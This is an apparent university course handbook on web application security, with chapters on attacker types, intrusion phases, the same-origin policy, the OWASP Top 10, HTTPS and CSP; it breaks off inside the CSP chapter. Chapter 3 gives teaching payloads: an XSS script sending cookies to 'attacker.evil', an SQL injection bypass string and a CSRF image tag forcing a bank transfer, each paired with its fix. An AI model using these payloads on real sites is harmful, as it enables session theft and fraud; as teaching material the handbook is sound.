PEOPLE'S DEMOCRATIC REPUBLIC OF ALGERIA
Ministry of Higher Education and Scientific Research

University of Skikda — Department of Computer Science

Master's degree: Information Security
Semester 3 (M2) — Core Course UEF322

Web and Mobile Application Security

Course Handbook

Credits: 4 | Coefficient: 3 | Assessment: Continuous assessment + Exam

Instructor: Mr. LaÃ¯di FOUGHALI
l.foughali@univ-skikda.dz

Academic year 2026/2027
Updated on 2026-09-22 at 23:21:05

Module description sheet

Master's degree	Information Security
Semester	S3
Course unit	UEF322
Credits	4
Coefficient	3
Recommended prerequisites	Network security and digital vulnerability analysis
Assessment	Continuous assessment and exam

Teaching objectives

Understand the fundamental principles and concepts of secure Web browsing, Web development architecture, the main vulnerabilities and attacks specific to the Web, as well as the mechanisms and best practices for developing and configuring Web applications. Understand the role of encryption in the security of mobile applications and devices, and describe common encryption use cases.

Course progression

The module is organized into eight chapters. Chapters 1 through 7 mainly deal with Web application security, from attack methods to Web services, while chapter 8 is dedicated to mobile security. Each chapter includes objectives, a detailed treatment, key takeaways, and application exercises.

Contents

Chapter 1

Vulnerabilities and Attack Methods

Chapter objectives

Identify categories of attackers and their motivations, describe the organization of offensive and defensive teams, master the phases of an intrusion, understand the concept of vulnerability and "zero-day" flaws, and distinguish the major families of attacks (malicious code, social engineering, application attacks).

Why start with this chapter?

Before studying *how* to secure an application (chapters 2 through 8), it is essential to understand *against whom* and *against what* we are defending. A security mechanism only makes sense in relation to a precise threat model: you do not protect against a script kiddie testing automated tools the same way you protect against a state-sponsored group preparing an espionage campaign over several months. This chapter therefore lays out the vocabulary and models (actors, teams, attack phases, vulnerabilities) that will be reused throughout the rest of the course.

1.1 Different types of hackers

The term "hacker" originally denotes an expert capable of repurposing a system beyond its intended use — with no negative connotation. In security, actors are generally classified along two axes: their **intent** (protect vs. harm) and the **legality** of their actions (authorized vs. unauthorized).

- **Black hat**: a malicious attacker acting without authorization, for financial gain, sabotage, or data theft.
- **White hat**: a security professional (pentester, researcher) acting legally and with authorization to strengthen systems.
- **Grey hat**: an intermediate actor who discovers flaws without authorization but without clearly malicious intent — sometimes notifying the vendor, sometimes publishing without prior agreement.
- **Script kiddies**: poorly skilled individuals reusing existing tools and exploits (often found on GitHub or forums) without understanding their inner workings.
- **Hacktivists**: groups motivated by a political or ideological cause (website defacement, document leaks, protest DDoS attacks).

- **Organized cybercriminals**: professional structures seeking financial profit (ransomware, banking fraud, reselling stolen data on dark web marketplaces).
- **Insider threats**: employees or contractors who abuse legitimate access — often the hardest vector to detect, since the access itself is not inherently abnormal.
- **State-sponsored groups / APTs** (*Advanced Persistent Threat*): actors backed by nation-states, with significant resources (budget, time, zero-day exploits), aiming at long-term espionage or sabotage.

A few well-known cases

- **Kevin Mitnick**: a black hat in the 1990s (intrusions into several telecom operators and software vendors), who later became a security consultant (white hat) — a good illustration of how porous these categories can be.
- **Anonymous**: a decentralized hacktivist collective, known for website defacements and exposure campaigns.
- **Lazarus Group**: an APT group attributed to North Korea, implicated in the Sony Pictures hack (2014) and large-scale cryptocurrency theft.
- **Ransomware groups** (LockBit, Conti, etc.): organized cybercrime operating as *Ransomware-as-a-Service*, with commission-paid affiliates.

1.2 Organization and goals of hacker teams

On both the offensive and defensive sides, activity is organized into specialized teams. A simple analogy: the **red team** plays the role of burglars hired to test a house's locks, the **blue team** is the security guard crew that must detect and stop them, and the **purple team** is the debriefing meeting where both teams compare notes to improve the house.

- **Red team**: simulates a real attacker (reconnaissance, exploitation, social engineering, sometimes physical tests) to assess an organization's overall resilience, beyond a simple technical penetration test.
- **Blue team**: defends, detects, and responds to incidents — monitors logs, operates a SIEM (*Security Information and Event Management*), configures IDS/IPS and EDR, hardens configurations.
- **Purple team**: not a permanent team but a *coordination function* between red and blue, turning each simulated attack into a concrete improvement in detection.

Offensive groups pursue varied goals: financial gain (extortion, fraud), industrial or state espionage, ideological statement, or reputation-seeking. Structured groups divide roles (reconnaissance, tool development, exploitation, monetization) much like a business — some ransomware groups even run customer support for their victims — which explains their effectiveness and persistence.

1.3 Intrusion phases

An intrusion generally follows a sequence of steps, formalized by models such as the *Cyber Kill Chain* (Lockheed Martin) or the *MITRE ATT&CK* framework, today the most widely used reference among practitioners for mapping observed techniques.

1. **Reconnaissance**: passive and active information gathering about the target — OSINT (*Open Source Intelligence*), subdomain enumeration, searching for employees on LinkedIn, *Google dorking*, port scanning (e.g. with `nmap`).
2. **Scanning and enumeration**: precise mapping of services, their versions, and exposed accounts (e.g. `nmap -sV`, enumeration of network shares, Web subdirectories).
3. **Initial access / exploitation**: exploiting a software vulnerability (via a tool like Metasploit) or compromised credentials (phishing, weak password, reuse of a leaked password) to gain a first foothold.
4. **Privilege escalation**: obtaining higher-level rights (administrator, root) by exploiting a misconfiguration or a local flaw.
5. **Persistence**: maintaining long-term access (backdoors, scheduled tasks, hidden accounts, implants).
6. **Lateral movement and exfiltration**: moving to other machines on the network (e.g. via stolen credentials or *pass-the-hash*) then progressively stealing data (transfer to an external server, DNS tunnel, public cloud service).
7. **Covering tracks**: deleting or altering logs to delay detection and complicate the investigation (see also digital forensics).

A complete scenario

An online shop exposes a poorly filtered contact form. An attacker:

1. finds the site via a search engine and identifies the technology used (*reconnaissance*);
2. detects that the "message" field is vulnerable to SQL injection (*scanning*);
3. exploits the injection to retrieve the administrator accounts table (*exploitation*);
4. logs in with the obtained administrator credentials (*privilege escalation*);
5. installs a hidden account and a scheduled task to return later (*persistence*);
6. progressively exports the customer database to an external server (*exfiltration*);
7. deletes the Web server's access logs (*covering tracks*).

This scenario directly connects to the following chapters: SQL injection and form protection are covered in detail in chapter 3.

1.4 Analyzing vulnerabilities and zero-day flaws

A **vulnerability** is a weakness in a system that can be exploited to compromise confidentiality, integrity, or availability. Known vulnerabilities are referenced by a **CVE** identifier (*Common Vulnerabilities and Exposures*, e.g. `CVE-2021-44228`) and rated by a **CVSS** severity score (*Common Vulnerability Scoring System*), computed notably from the attack vector, exploitation complexity, required privileges, and impact on confidentiality/integrity/availability. The score ranges from 0 to 10: severity is generally described as *low* (0.1–3.9), *medium* (4.0–6.9), *high* (7.0–8.9), and *critical* (9.0–10). Vulnerability scanners (Nessus, OpenVAS, etc.) automate detection by comparing installed software versions against known CVE databases.

Zero-day flaw

A "zero-day" vulnerability is a flaw unknown to the vendor, for which no patch yet exists. It is particularly dangerous because the "exposure window" — between discovery by the attacker and the release of a patch — leaves systems with no protection other than workaround measures. These flaws are traded on a parallel market, sometimes for several hundred thousand dollars for a critical flaw affecting a widely used system.

Log4Shell — a recent critical zero-day

In late 2021, the flaw `CVE-2021-44228` ("Log4Shell"), discovered in the Java logging library *Log4j* used by millions of applications, received a CVSS score of **10/10**. A simple, specially crafted string, once logged by the application, allowed remote arbitrary code execution without authentication. It illustrates both the severity a software vulnerability can reach and the scale of impact when the flaw sits in a widely reused third-party component (see also OWASP risk A06, chapter 3).

We finally distinguish **responsible disclosure** (the researcher informs the vendor and allows a reasonable delay before publication) from **full disclosure** (immediate publication, sometimes to force a quick fix) — a choice with direct consequences for users' exposure window.

1.5 Malicious code attacks

Malware families differ by their propagation method and payload:

- **Virus**: code that attaches to a host program and spreads when it is executed — requires human action (opening a file).
- **Worm**: spreads by itself across the network, with no host and no human action, often by exploiting a network vulnerability.
- **Trojan horse**: a program that appears legitimate while concealing a malicious function.
- **Ransomware**: encrypts the victim's data and demands a ransom, generally in cryptocurrency, for the decryption key.
- **Spyware**: covertly collects information (keystrokes, browsing, credentials).
- **Rootkit**: hides deep within the system (often at kernel level) to maintain stealthy access and evade traditional antivirus software.
- **Botnet**: a network of compromised machines ("zombies") remotely controlled by a command-and-control (C2) server, used for DDoS attacks or mass spam.

Two emblematic cases

- **WannaCry** (2017): ransomware combined with a *worm*, exploiting the SMB flaw *EternalBlue* to spread automatically with no user action — over 200,000 machines affected in 150 countries within days.
- **Mirai** (2016): a botnet targeting poorly secured IoT devices (cameras, routers) with default credentials, used to launch massive DDoS attacks against critical Internet infrastructure.

Detection combines two complementary approaches: **signature-based** detection (recognizing a known binary pattern — fast but ineffective against unseen malware) and **behavioral/heuristic** detection (spotting suspicious actions — mass file encryption, unusual connections — even for malware never seen before).

1.6 Social engineering attacks

Social engineering manipulates people rather than technology. It remains one of the most effective intrusion vectors, since it is often easier to convince a person to click a link than to bypass a firewall.

- **Phishing**: fraudulent emails or websites impersonating a trusted entity (bank, HR department, cloud provider) to obtain credentials or trigger execution of a malicious attachment.
- **Spear phishing / whaling**: targeted, personalized phishing aimed at a specific individual (*spear phishing*) or an executive (*whaling*), often after reconnaissance on professional social networks.
- **Pretexting**: a fabricated scenario ("I'm from IT support, I need your password for maintenance") to obtain information.
- **Baiting**: a booby-trapped device (a USB drive "lost" in a parking lot) exploiting curiosity.
- **Vishing / smishing**: variants conducted by phone call (*voice phishing*) or SMS.

These techniques exploit well-documented psychological levers: **authority** (posing as a superior or technician), **urgency** ("your account will be locked in 24h"), **fear**, and **curiosity**. Defense relies mainly on regular user awareness training, systematic verification procedures for any sensitive request, and strong authentication (which limits the impact of a stolen password).

Twitter — July 2020

Attackers obtained, through *vishing* (phone calls impersonating internal IT support), the internal administration tool credentials of Twitter employees. They then took control of verified accounts belonging to celebrities and companies to spread a cryptocurrency scam — an example where social engineering alone, with no technical flaw exploited, was enough to compromise a major platform.

1.7 Application attacks

Application-level attacks target the software itself rather than the network or the user:

- **Injections** (SQL, OS commands, etc.): covered in detail in chapter 3 for the Web case.
- **Buffer overflows**: writing data beyond the allocated memory space, potentially overwriting a function's return address and hijacking the program's execution flow.
- **Business logic attacks**: exploiting not a technical bug but a legitimate sequence of features used in an unintended way (e.g. tampering with an item's price in an intercepted request before payment validation).
- **Exploitation of vulnerable third-party components**: the Log4Shell case (previous section) is the most striking illustration of this in recent years.

Attacks specific to Web applications are covered in detail in chapter 3, and those targeting mobile applications in chapter 8.

Key takeaways

- Attackers are classified by intent (black/white/grey hat, hacktivists, APTs) and organize into teams (red, blue, purple).
- An intrusion follows phases: reconnaissance, exploitation, privilege escalation, persistence, exfiltration, covering tracks (Cyber Kill Chain / MITRE ATT&CK).
- A zero-day flaw is unknown to the vendor and unpatched; its exposure window makes it critical (e.g. Log4Shell, CVSS 10/10).

- Malicious code (virus, worm, ransomware, botnet, etc.) and social engineering are two major vectors, often combined within a single attack.

Questions and exercises

1. Compare the red team, blue team, and purple team, specifying the role and objective of each.
2. Explain why a zero-day vulnerability is more dangerous than a known vulnerability. Illustrate with the Log4Shell example.
3. Give three social engineering techniques and one countermeasure appropriate to each.
4. Place the phases of an intrusion on a timeline and associate each with an example tool or technique.
5. WannaCry combines two categories of malware. Which ones, and why did this combination make it especially destructive?

Chapter sources: official module syllabus (UEF322, chapter 1); publicly documented incidents (WannaCry, Log4Shell/CVE-2021-44228, the July 2020 Twitter hack) — general cybersecurity knowledge, not drawn from any particular book.

Chapter 2

Web Security Model

Chapter objectives

Understand why the browser behaves like an operating system running untrusted code, describe permission-based access control, and master the mechanisms of cross-origin isolation as well as the allowed communication channels.

2.1 The browser as an operating system and execution platform

The modern browser constantly runs code from potentially hostile sites (HTML, CSS, JavaScript), simply because the user clicked a link. In this respect it plays a role similar to an operating system: it manages "processes" (tabs, frames — Chrome with *Site Isolation* and Firefox with *Fission* place each site in a separate, restricted system process), allocates resources (memory, CPU), controls access to the network, local storage, and devices (camera, microphone, GPS), and must isolate applications that do not trust one another — exactly as an OS must isolate two programs that should not be able to read each other's memory.

Unlike classic systems with a unified permission model (for example the Unix user/group model, where each file has an owner and clear rights), the Web has no global, coherent security model: it was built in successive layers as HTML, JavaScript and browser APIs evolved, which produced an **accumulation of partial mechanisms** rather than an architecture designed from the start. This is precisely what Zalewski documents in detail in *The Tangled Web* (see bibliography): each new Web feature has had to cope with the security choices — sometimes inherited by chance — of earlier versions. This accumulation makes attack-surface analysis particularly tricky: knowing a single rule is not enough, one must know the history of the exceptions.

2.2 Permission-based access control

Some device capabilities are too sensitive to be granted automatically to any site: geolocation, camera and microphone, push notifications, clipboard access, unlimited persistent storage, etc. The browser acts as a **reference monitor**: it intercepts every request to access a sensitive capability, shows it to the user as an explicit prompt ("this site wants to know your location"), and grants access only after explicit consent — revocable at any time in the browser settings. Moreover, these sensitive APIs are only available in a **secure context** (a page served over HTTPS, or `localhost` for development): a plain HTTP site cannot even request them. Finally, on the server side, the `Permissions-Policy` header restricts the capabilities that a page — and the iframes it embeds — are allowed to request, for example `Permissions-Policy: camera=(), geolocation=(self)`.

Active content (JavaScript in particular) also runs in a "sandbox": even once loaded, a script cannot, for example, directly read arbitrary files on disk or launch system processes — it can only act through the APIs explicitly exposed by the browser, which are themselves subject to the permission model.

2.3 Protocols, isolation and communication

The cornerstone of Web isolation is the **Same-Origin Policy** (SOP), introduced as early as 1995 in Netscape Navigator 2 — making it one of the oldest security mechanisms still in force on the Web today.

Origin

An origin is defined by the triple **protocol** – **host name** – **port**. Two documents can access each other's content (DOM, network responses) only if their origins match *exactly*; any difference in scheme, host or port results in a denial.

Same origin or not?

Take the reference page `https://exemple.dz/`. Are the following URLs of the same origin?

Compared URL	Same origin?	Reason
`https://exemple.dz/page2`	Yes	Only the path differs
`http://exemple.dz/`	No	Different protocol (http vs https)
`https://exemple.dz:8443/`	No	Different port (implicit 443 vs 8443)
`https://www.exemple.dz/`	No	Different host name (subdomain)
`https://autresite.dz/`	No	Completely different host name

It is essential to understand what the SOP actually forbids. Between two different origins, a page may freely **send** requests (submit a form, follow a link, redirect) and **embed** resources (`<img>`, `<script>`, style sheets, `<iframe>`); what it is forbidden to do is **read** the result: the DOM of a frame from another origin, or the response of a `fetch`/`XMLHttpRequest` request. In other words, the SOP protects the *reading* of responses, not the *sending* of requests.

The SOP does not prevent sending

Since sending remains allowed, a malicious site can still make the victim's browser issue an authenticated request (carrying the victim's cookies) to another site: it will not be able to read the response, but the action will be carried out. This is exactly the principle of CSRF, studied in chapter 3.

This principle is robust and implemented consistently by all modern browsers, but it only covers a subset of inter-document interactions and comes in several variants depending on the protected resource. **Cookies**, in particular, follow their own model: their scope is based on the domain and path, not on the origin; they **ignore the port** and, without the `Secure` attribute, the protocol — a subtlety that is a frequent source of vulnerabilities. Some origins are also **special**: an `about:blank` document inherits the origin of the page that created it, while `data:` URLs and iframes with the `sandbox` attribute get an **opaque** origin, serialized as `null`. Since any site can produce this `null` origin, it must never be trusted (for example via `Access-Control-Allow-Origin: null`).

An important point, analyzed at length by Zalewski: the same-origin policy **is not synchronized** with the authentication state, the SSL state or the network context. Two windows remain of the same origin even if the user switches accounts in one of them, or if the TLS

certificate goes from valid to invalid during the session. This lack of synchronization can worsen the exploitation of other flaws, such as the CSRF mentioned above.

When different origins legitimately need to communicate — which is very common (third-party widgets, payment iframes, remote APIs) — controlled mechanisms exist:

- **`postMessage`**: a JavaScript API for explicitly exchanging messages between windows or frames, including across origins. Two rules apply: the **sender** specifies the target origin (`target.postMessage(data, "https://partner.dz")`, never `"*"` for a sensitive message), and the **receiver** checks the sender's origin (`event.origin`) before processing a received message — a check all too often omitted in practice, which opens the door to data injection, token theft, or even XSS if the content is inserted into the page.
- **CORS** (*Cross-Origin Resource Sharing*): a server-side mechanism for explicitly allowing the *reading* of cross-origin responses, through HTTP headers such as `Access-Control-Allow-Origin`. For requests that are not "simple" (`PUT`/`DELETE` methods, JSON bodies, custom headers), the browser first sends a "preflight" request (method `OPTIONS`) to check that the server allows the actual request before sending it.

Minimal CORS header

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://partner-app.dz
Access-Control-Allow-Methods: GET, POST
Content-Type: application/json
```

Only the site `https://partner-app.dz` is allowed to read this API's response from a JavaScript context. The value `*` (wildcard) would allow *all* sites, but only for requests *without* credentials: as soon as the request carries cookies, the server must return `Access-Control-Allow-Credentials: true` together with a **specific** origin, and the browser then rejects the wildcard.

A classic CORS misconfiguration

The most widespread CORS misconfiguration consists in copying the received `Origin` header into `Access-Control-Allow-Origin`, without checking it against an allow-list, while also returning `Access-Control-Allow-Credentials: true`. Any site can then read, with the victim's cookies, the data of the logged-in user. Good practice: compare the received origin with an explicit list of allowed origins, and never accept `null`.

Key takeaways

- The browser runs untrusted code: it works like an OS that must isolate hostile applications, with a permission model and a sandbox for active content.
- The Web has no unified security model; the SOP is its historical foundation (1995) but remains partial and varies with the protected resource.
- An origin = protocol + host + port; isolation fails as soon as one of the three differs.
- The SOP forbids cross-origin **reading**, not the **sending** of requests: this is what makes CSRF possible.
- The SOP is partial: cookies ignore the port, opaque origins are `null`, and it is tied neither to the authentication state nor to the TLS certificate.
- `postMessage` (explicit target origin + checking `event.origin`) and CORS (server-side allow-list of origins) are the controlled channels for cross-origin communication.

Questions and exercises

1. Are two documents `http://site.dz:80` and `https://site.dz:443` of the same origin? Justify precisely.
2. Explain how the browser can be compared to an operating system. Name two resources it must protect in the same way an OS protects a process's memory.
3. Does the SOP prevent a malicious site from sending an authenticated request to your bank? What does it actually prevent? Relate your answer to chapter 3 (CSRF).
4. Why is a cookie set by `https://site.dz:8443` sent to `https://site.dz`?
5. Describe the role of CORS and how it differs from `postMessage`. An API returns the copied `Origin` header together with `Access-Control-Allow-Credentials: true`: what is the risk, and how can it be fixed?
6. An iframe embedding a third-party widget must receive a message containing a session token. Which check must the JavaScript code receiving this message via `postMessage` absolutely perform before trusting its content?

Chapter sources: official module syllabus (UEF322, chapter 2); conceptual framework of the browser as an execution platform and analysis of the Same-Origin Policy informed by M. Zalewski, The Tangled Web (2011), the module's reference book (see bibliography); standard technical documentation (MDN Web Docs) for CORS, postMessage and Permissions-Policy.

Chapter 3

Web Application Security

Chapter objectives

Know the major risks identified by OWASP, understand how the most common Web attacks work (injection, XSS, CSRF), and master the protection techniques to implement.

3.1 OWASP – Top 10 risks

OWASP (*Open Worldwide Application Security Project*) is a non-profit foundation that has published, since 2003 and updated every 3 to 4 years, a reference ranking of the ten most critical security risks for Web applications. It is today the most widely cited application security document in the world, used by developers, auditors, and regulators alike (PCI-DSS explicitly requires it for sites handling payments). In its 2021 edition, it includes:

A01 Broken Access Control : access to unauthorized resources or actions – the #1 category, present in almost every application tested by OWASP.

A02 Cryptographic Failures : sensitive data poorly or not encrypted (formerly called "sensitive data exposure").

A03 Injection : SQL, commands, as well as *cross-site scripting* (XSS), now folded into this category.

A04 Insecure Design : design flaws rather than implementation flaws – a category that reminds us that no code, however well written, fixes an architecture that was not designed with security in mind.

A05 Security Misconfiguration : unchanged default settings, overly verbose error messages, unnecessary services exposed.

A06 Vulnerable and Outdated Components : third-party libraries that are not kept up to date (the case of Log4Shell, chapter 1).

A07 Identification and Authentication Failures.

A08 Software and Data Integrity Failures (e.g. unsigned update, insecure deserialization).

A09 Security Logging and Monitoring Failures : without an actionable log, an intrusion can remain invisible for months (see chapter 1, "covering tracks" phase).

A10 Server-Side Request Forgery (SSRF) : the server is tricked into making a request to an internal resource that would normally be inaccessible from the outside.

3.2 Major Web attacks

SQL injection

An SQL injection occurs when user input is concatenated directly into an SQL query, with no separation between code and data.

Classic SQL injection – authentication bypass

Query built naively server-side:

```
SELECT * FROM users
WHERE login = '$login' AND password = '$password';
```

If the attacker enters as the password: `' OR '1'='1`, the query becomes:

```
SELECT * FROM users
WHERE login = 'admin' AND password = '' OR '1'='1';
```

Since the condition `'1'='1'` is always true, the query returns the `admin` user without knowing their password – the attacker is authenticated.

XSS (*Cross-Site Scripting*)

Injection of a script executed in the browser of *other* users – unlike SQL injection, the ultimate victim is not the server but the site's visitors. Three variants are distinguished:

- **Reflected XSS** : the script is part of the request (e.g. a URL parameter) and is echoed back as-is in the HTML response – it only executes if the victim clicks a crafted link.
- **Stored XSS** : the script is saved server-side (e.g. in a comment) and executes for *every* visitor who views the page – the most dangerous of the three.
- **DOM-based XSS** : the vulnerability lies entirely client-side, in JavaScript that inserts unfiltered data directly into the DOM (e.g. via `innerHTML`), without the server even being involved.

Stored XSS in a comment field

An attacker posts the following as a blog comment:

```
<script>
  fetch('https://attacker.evil/steal?cookie=' + document.cookie);
</script>
```

If the comment is displayed without encoding, this script runs in the browser of *every* visitor to the page, and sends their session cookie to the attacker – who can then hijack their session (see chapter 6).

CSRF (*Cross-Site Request Forgery*)

A third-party site forces the victim's browser to send an authenticated request to a site where they are already logged in, without their knowledge – relying on the fact that the browser automatically attaches cookies to every request to a domain, regardless of which page triggered that request.

CSRF – forced bank transfer

The victim is logged in on `bank.dz`. They then visit a malicious page containing:

```
<img src="https://bank.dz/transfer?to=attacker&amount=5000">
```

The browser automatically loads this "image", so it sends the GET request to `bank.dz` with the victim's session cookies already attached. If the server checks nothing beyond a valid cookie, the transfer is executed without the victim noticing. This is exactly what the `SameSite` cookie attribute and an anti-CSRF token fix (see "Protection techniques" below and chapter 6).

Clickjacking

Overlaying an invisible or transparent frame (iframe) on top of attractive content, tricking the user into clicking a button on the targeted site (e.g. "Like", "Confirm") without realizing it. The `X-Frame-Options` header or the CSP `frame-ancestors` directive (chapter 5) prevent a site from being embedded in a foreign iframe.

Injection

An injection occurs when untrusted input is interpreted by an engine (SQL, shell, HTML/JavaScript) as part of a trusted command or content, rather than as plain data. The root cause, in all three examples above, is always the same: the **lack of strict separation between code and data**.

3.3 Web application protection techniques

The same SQL injection — fixed with a parameterized query

```
# Prepared statement: the password remains DATA,
# never interpreted as SQL code, whatever its value
SELECT * FROM users
WHERE login = ? AND password = ?;
```

Even if the attacker enters `' OR '1'='1`, this string is treated as a literal value to compare, never as an additional SQL clause.

- **Input validation and sanitization** : only accept data matching an expected format (allowlist rather than blocklist).
- **Parameterized queries / ORM** : prevent SQL injection by strictly separating code and data (example above).
- **Output encoding** : convert special characters (`<`, `>`, `"`, `&`) into their HTML equivalents before display, to neutralize XSS – an injected `<script>` then becomes inert text displayed as-is.
- **Anti-CSRF tokens and the `SameSite` attribute** : tie every sensitive action to an unpredictable token known only to the legitimate site, or prevent the browser from sending the session cookie on a request initiated from another site.
- **Security headers** : `Content-Security-Policy` (chapter 5), `X-Frame-Options`, `Strict-Transport-Security` (chapter 4), `X-Content-Type-Options: nosniff`.

- **Principle of least privilege** and secure session management (chapter 6) : even in case of a flaw, limit what the attacker can reach.
- **Web Application Firewall (WAF)** and **SAST/DAST** analysis : detecting known attack patterns upstream (static code analysis) and at runtime (automated dynamic testing, scanning the running application).

Key takeaways

- The OWASP Top 10 is the worldwide reference for Web risks; broken access control and injection have topped it across several editions.
- SQL injection, XSS (reflected/stored/DOM-based), CSRF, and clickjacking are the Web attacks you absolutely must know – each illustrated by a concrete example above.
- The root cause of injection is the lack of separation between code and data; that of CSRF is the browser's automatic sending of cookies.
- Defense combines input validation, parameterized queries, output encoding, anti-CSRF/`SameSite` tokens, and security headers.

Questions and exercises

1. Describe the three types of XSS and propose a countermeasure for each.
2. Why does a parameterized query prevent SQL injection, whereas a simple function that escapes apostrophes can still be bypassed?
3. Explain the mechanism of a CSRF attack and the role of the `SameSite` attribute. Why does the bank transfer example work with a GET request but would be harder with a POST request requiring a token?
4. Name five HTTP security headers and their purpose.
5. A search form directly echoes the searched term on the results page ("You searched for: *term*"), with no encoding at all. What vulnerability is this? Propose a minimal exploit and its fix.

Chapter sources: official module syllabus (UEF322, chapter 3); OWASP Top 10, 2021 edition (OWASP Foundation, see bibliography); exploitation examples built for teaching purposes from standard scenarios in the application security literature.

Chapter 4

Objectives and Problems of HTTPS

Chapter objectives

Recall how SSL/TLS and the PKI work, understand how HTTPS strengthens security, and identify its limitations and failure modes (forged certificates, mixed content, MITM).

4.1 Recap on the SSL/TLS protocol

HTTPS is simply HTTP encapsulated inside TLS (*Transport Layer Security*, the successor to the 1990s SSL protocol). TLS guarantees three distinct properties, which are important not to confuse:

- **confidentiality** : exchanged data is encrypted, a third party intercepting the traffic cannot read it;
- **integrity** : any tampering with data in transit (even a single altered byte) is detected thanks to a message authentication code;
- **authentication** : the client is guaranteed to be talking to the right server (and, more rarely, the server can also authenticate the client).

The negotiation (*handshake*) that starts every TLS connection combines two complementary families of cryptography: **asymmetric** cryptography (public/private key pair), used to authenticate the server and securely establish a shared session key, and **symmetric** cryptography, much faster, used afterwards to encrypt the actual bulk of the exchanged data. This is a classic trade-off: asymmetric cryptography is computationally expensive but solves the initial key-exchange problem; symmetric cryptography is efficient but assumes both parties already share a secret.

Server authentication relies on **X.509 certificates**, signed digital documents that bind a public key to a domain name. These certificates are issued by **certificate authorities** (CAs) within a **public key infrastructure** (PKI): the browser trusts a list of pre-installed root authorities, and checks that the certificate presented by the server chains, through a series of signatures, up to one of these trusted authorities. The entire security of the system therefore ultimately rests on the integrity of these authorities.

Extended Validation certificates (EV SSL)

To address the problem of authorities issuing basic certificates after only minimal checks, a more rigorously validated certificate type appeared, requiring more thorough verification of the organization's real-world identity before issuance. In practice this distinction remains largely invisible to the end user and never fully solved the underlying problem: trust in a

certificate authority is a binary choice (you either trust it or not), which does not reflect the varying rigor of its verification procedures.

4.2 Strengthening security with HTTPS

Simply enabling HTTPS is not enough: several complementary measures genuinely strengthen protection:

- **HSTS** (*HTTP Strict Transport Security*) : an HTTP header by which a server tells the browser to never again attempt a plain HTTP connection to this domain, even if a link or a manual entry points to `http://`. This closes the attack window for *SSL stripping*, described below.
- **Systematic redirection** of every incoming HTTP request to its HTTPS equivalent.
- **Recent TLS versions** (1.2, and especially 1.3) combined with robust cipher suites offering **forward secrecy** : even if the server's private key is compromised later, past sessions that were intercepted and recorded cannot be decrypted retroactively.
- **Rigorous certificate management** : renewal before expiration, immediate revocation in case of private key compromise, and possibly certificate pinning in high-risk contexts such as mobile apps (see chapter 8).

HSTS header

```
Strict-Transport-Security: max-age=31536000; includeSubDomains
```

For one year (`max-age` in seconds), the browser will refuse any plain HTTP connection to this domain *and* all its subdomains, even if the user explicitly types `http://` in the address bar.

4.3 Problems and limitations of HTTPS

HTTPS effectively protects against passive eavesdropping, but its trust model and its integration with the rest of the browser have real blind spots:

- **Forged certificate or compromised CA** : if a single certificate authority, among the dozens pre-installed in a browser, is compromised or negligent, an attacker can obtain a valid certificate for a domain they do not own and impersonate a legitimate site in a way that is almost undetectable to the user.
- **Man-in-the-middle attack (MITM) and *SSL stripping*** : an attacker positioned between the victim and the server (an unsecured public Wi-Fi network, for example) intercepts the first HTTP request before any redirection to HTTPS, and keeps the victim on a plain connection while communicating in HTTPS with the real server themselves – the victim never sees the padlock but may not notice. This is exactly what HSTS neutralizes.
- **Mixed content** : a page served over HTTPS that loads a script, image, or stylesheet via an `http://` URL reintroduces an interception point for that specific resource – and a script loaded in the clear can compromise the integrity of the entire page, padlock or not.
- **Validation errors** : self-signed, expired certificates, or ones whose name does not exactly match the visited domain (including subdomains not covered by a "wildcard" certificate).

- **Desynchronization with the Same-Origin Policy** : as seen in chapter 2, the state of the TLS connection is *not* a component of the origin as defined by the SOP – an HTTP page and its HTTPS equivalent share the same DOM storage if the rest of the origin matches. This point, extensively analyzed by Zalewski (2011), means in practice that a single resource loaded in the clear can be enough to compromise data that was otherwise believed protected.

Key takeaways

- TLS guarantees confidentiality, integrity, and authentication through a handshake combining asymmetric cryptography (key exchange) and symmetric cryptography (data encryption).
- Trust rests entirely on X.509 certificates and the PKI: the chain of trust is only as good as its certificate authorities.
- HTTPS is strengthened in practice by HSTS, the use of recent TLS with forward secrecy, and rigorous certificate lifecycle management.
- Its main weak points remain as much human or organizational as technical: a compromised CA, SSL stripping in the absence of HSTS, mixed content.

Questions and exercises

1. Describe the main steps of a TLS handshake and explain why it combines asymmetric and symmetric cryptography rather than using either alone.
2. What is mixed content, and why does it weaken an HTTPS page even if the main document is properly loaded over HTTPS?
3. Explain precisely how an SSL stripping attack unfolds, and why the HSTS header neutralizes it.
4. What checks does the browser perform on a server certificate before displaying the padlock?
5. How does forward secrecy protect past sessions, even after the future compromise of a server's private key?

Chapter sources: official module syllabus (UEF322, chapter 4); analysis of the HTTPS/PKI trust model and its desynchronization from the SOP informed by M. Zalewski, The Tangled Web (2011), the module's reference book (see bibliography).

Chapter 5

Content Security Policy (CSP)

Chapter objectives

Understand the role of Web workers, learn how to define a content security policy to limit injections, and use iframe isolation (sandboxed iframes) to contain third-party content.

5.1 Web workers

Web workers allow JavaScript to run in background threads, outside the main UI thread. Historically, JavaScript runs on a single thread within the page: any lengthy computation (image processing, sorting a large array) blocks the interface, which freezes for the duration of the operation. Web workers solve this by offloading the computation to a separate context, which runs in parallel without freezing the page.

This context is deliberately **isolated**: a worker has no direct access to the DOM, cannot manipulate page elements, and communicates with the main script exclusively through asynchronous message passing (`postMessage`, as seen in chapter 2 for cross-origin communication). This isolation is itself a security measure: it limits what a compromised script running in a worker can directly reach.

Service workers are a more powerful, network-oriented variant: they act as a programmable proxy placed between the page and the network, able to intercept requests, cache resources, and make an application work offline. This power – a service worker can keep running even after the tab is closed, and intercept every future request from the site – imposes a strong security requirement: browsers restrict their registration to **HTTPS contexts only** (with an exception for `localhost` during development).

5.2 Content Security Policies

CSP (*Content Security Policy*) is an HTTP header through which the server explicitly tells the browser which sources are allowed for each type of resource loaded by the page (scripts, stylesheets, images, frames, fonts, etc.). This is a shift in model compared to "case by case" defense: rather than relying solely on sanitizing each user input, the browser is asked to enforce a global rule that limits what *any* script – even one successfully injected – could load or execute.

Its main goal is to reduce the impact of injections, particularly **XSS** (chapter 3): even if an attacker manages to inject a `<script>` tag, it will only run if the CSP policy explicitly allows it.

Common CSP directives

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.dz;
  style-src 'self' 'unsafe-inline';
  img-src *;
  frame-ancestors 'none';
```

- `default-src 'self'` : by default, only same-origin resources are allowed.
- `script-src` : scripts may only come from the site itself or the explicitly listed CDN – a script injected via XSS and hosted elsewhere will be blocked.
